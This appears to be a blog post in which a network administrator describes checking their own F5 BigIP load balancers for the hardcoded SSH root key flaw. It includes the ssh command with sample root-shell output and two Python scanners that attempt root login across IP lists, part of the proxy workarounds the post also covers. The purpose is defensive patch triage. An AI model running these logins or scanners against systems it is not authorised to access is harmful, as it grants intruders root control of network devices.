#paraproxy

Following recent [F5 SSH vulnerability disclosure](http://support.f5.com/kb/en-us/solutions/public/13000/600/sol13600.html), I was forced to quickly identify which of my devices are actually vulnerable and need patching. I started looking at my options and it turned out that easiest way to find out which boxes need some loving was to try exploiting them. It took me just a moment to locate dodgy private SSH key on BigIP's filesystem. Once I had that I was able to login to hundreds of boxes as root without providing any password. Huh, F5 - what a fail... This is probably one of the biggest and easiest to exploit vulnerability I have ever seen. Anyway, this is an example command that I have used to "exploit" the box: $ ssh -i PATH_TO_PRIVATE_KEY root@HOST If you try it against loadbalancer with IP of 7.7.7.7, you will get output similar to this: $ ssh -i ~/.ssh/f5_idsa [email protected] Warning: Permanently added '7.7.7.7' (RSA) to the list of known hosts. Last login: Wed Jun 20 10:41:53 2012 from 5.5.5.5 [root@lb1:Active] config # O.K. so now next logic step was to automate the checks to some extent. Quickest way I could have thought of was to execute "exit" command with some random, non-common exit code like 50. Once executed, I could check the return value and if it was indeed 50 it meant that SSH process succesfully logged in or the "exploitation" failed if return code was different. [skrobul@atol ~]$ ssh -qi ~/.ssh/f5_idsa [email protected] "exit 50" [skrobul@atol ~]$ echo $? 50 [skrobul@atol ~]$ # Connecting to SSH through HTTP proxy in Python It is good and quick way to test, but how do you know what actually happened when error code is different than 50? The OpenSSH client will return 255 in case anything goes wrong, be it connection timeout, connection refused or anything else. I need better level of granularity so I started looking at more sophisticated options. My [programming language](http://python.org) of choice has pretty good [SSH library](http://www.lag.net/paramiko/) that is widely used and documented well. Despite having written all previous scripts with [pexpect](http://www.noah.org/wiki/pexpect) I've decided to give it a shot. I came up with following script that is able to scan individual IPs or

#!/usr/bin/python2 import paramiko import sys import os import argparse #paramiko.common.logging.basicConfig(level=paramiko.common.DEBUG) def scan(ip, privatekey=os.path.expanduser("~/.ssh/f5_idsa")): ssh = paramiko.SSHClient() mykey = paramiko.RSAKey.from_private_key_file(privatekey, password="") ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: ssh.connect(ip, username='root', pkey=mykey, timeout=3) stdin, stdout, stderr = ssh.exec_command("ls /shared/") ret = True except paramiko.PasswordRequiredException: ret = False finally: ssh.close() del ssh return ret if __name__ == '__main__': parser = argparse.ArgumentParser() grp = parser.add_mutually_exclusive_group(required=True) grp.add_argument("-f", dest="filename") grp.add_argument("-i", dest="ip") args = parser.parse_args() if args.ip: print scan(args.ip) if args.filename: for ip in open(args.filename).readlines(): ip = ip.rstrip() try: if scan(ip) == True: print "%s is vulnerable" % ip else: print "%s is patched" % ip except Exception, e: print "%s failed with following exception: %s" % (ip, e) continue

Above script is relatively simple and does the job most of the time. Unfortunately as soon as I tried to use it out of my lab I hit huge roadblock. I completely forgot that all of my production devices are accessible only from dedicated management network and in order to access them I have to go through specific proxy server / jump host. Obviously, this is much more secure than having door wide open but is pain in the ass for executing scripts like above. Now to solve this problem I had few options: * Find a server that is connected directly to the management network and upload scripts there. This is most difficult option (if possible at all) for me so I decided against it. Also, it would be really uncomfortable to transfer scripts back and forth every time I wanted to make a tiny change. * Open SSH session to the jump server and enable dynamic forwarding. If you do that, your localhost becoms full-blown SOCKS proxy. Now if you combine this with little tool called "tsocks", you can transparently execute any command as if you were logged into the jump server. In theory all connections get transparently proxied through your SSH tunnel and jump server will make connection on behalf of the client. Except, it doesn't always work. I learned this hard way - I was able to reach about 800 boxes and then tsocks would just hang for hours and the only solution was to manually kill the process. I played a bit with strace to try to identify the problem but got nowhere. * I remembered that mentioned jump host has a HTTP proxy feature enabled. I believe it's just standard configuration of [Squid Proxy](http://squid-cache.org) with CONNECT method enabled. In fact this is how I normally login to the loadbalancers. There is a little tool called [connect-proxy](http://aur.archlinux.org/packages.php?ID=45592) that allows to use HTTP proxy with OpenSSH through ProxyCommand configuration. It's awesome, works perfectly and requires almost no configuration. All you need to do is add relevant ProxyCommand to your ~/.ssh_config file:

[skrobul@atol ~]$ cat ~/.ssh/config ForwardAgent yes TCPKeepalive yes ServerAliveInterval 5 Host 192.168.* ProxyCommand none Host * ProxyCommand /usr/bin/connect -H jump.host.company.com:3128 %h %p [skrobul@atol ~]$

This configuration allows me to execute my "simple" scans as described above, but it still leaves me with incomplete information - all I know is that device is definitely vulnerable or in unknown status. In fact, that information is not very useful because I want to know that particular devices is definitely NOT vulnerable before I can sleep well. In other words - I need to find a way to modify my miniscanner to go through HTTP proxy because TSOCS option is very unreliable. I jumped on google and found out that paramiko does not support proxies, however there is an extension named [paraproxy](http://pypi.python.org/pypi/paraproxy) that enables proxy functionality. While documentation is not very extensive I was able to successfully add it to my project. All I needed to do was to add "import paraproxy" to the top of my file and it should work:

#!/usr/bin/python2 import paramiko import paraproxy import sys import os import argparse [...]

Unfortunately, it didn't work. The module is loaded and used but for some reason, even though debugging says that ProxyCommand is being used, the packets still leave my computer directly without going through proxy. I have reported the problem to paraproxy author, René Köcher and we are trying to identify what the exact problem is. So far, I've been able to get it working by forcing the module into "command chaining" mode but it's not good long-term solution. Debugging paraproxy sounds like fun, but given the severity of this vulnerability I had to come up with something else quickly. Finally, I decided to use good old pexpect to do the job. Given the fact that my configuration of OpenSSH works well with HTTP proxy already, all I needed was just to improve my "simple" scanner. I came up with following code:

#!/usr/bin/python2 import sys import os import argparse import pexpect #paramiko.common.logging.basicConfig(level=paramiko.common.DEBUG) def scan(ip, privatekey=os.path.expanduser("~/.ssh/f5_idsa")): "Returns true if vulnerable" p = pexpect.spawn("ssh -q -i %s -l root %s \"exit 50\"" % (privatekey, ip) ) # p.logfile_read = sys.stdout i = p.expect(["assword: ", "refused", pexpect.TIMEOUT, pexpect.EOF], timeout=6) p.close() if p.exitstatus == 50: return True else: if i == 0: return False elif i == 1: raise Exception, "Connection refused" elif i == 2: raise Exception, "Timed out" if __name__ == '__main__': parser = argparse.ArgumentParser() grp = parser.add_mutually_exclusive_group(required=True) grp.add_argument("-f", dest="filename") grp.add_argument("-i", dest="ip") args = parser.parse_args() if args.ip: print scan(args.ip) if args.filename: for ip in open(args.filename).readlines(): ip = ip.rstrip() try: if scan(ip) == True: print "%s is vulnerable" % ip else: print "%s is patched" % ip except Exception, e: print "%s failed with following exception: %s" % (ip, e) continue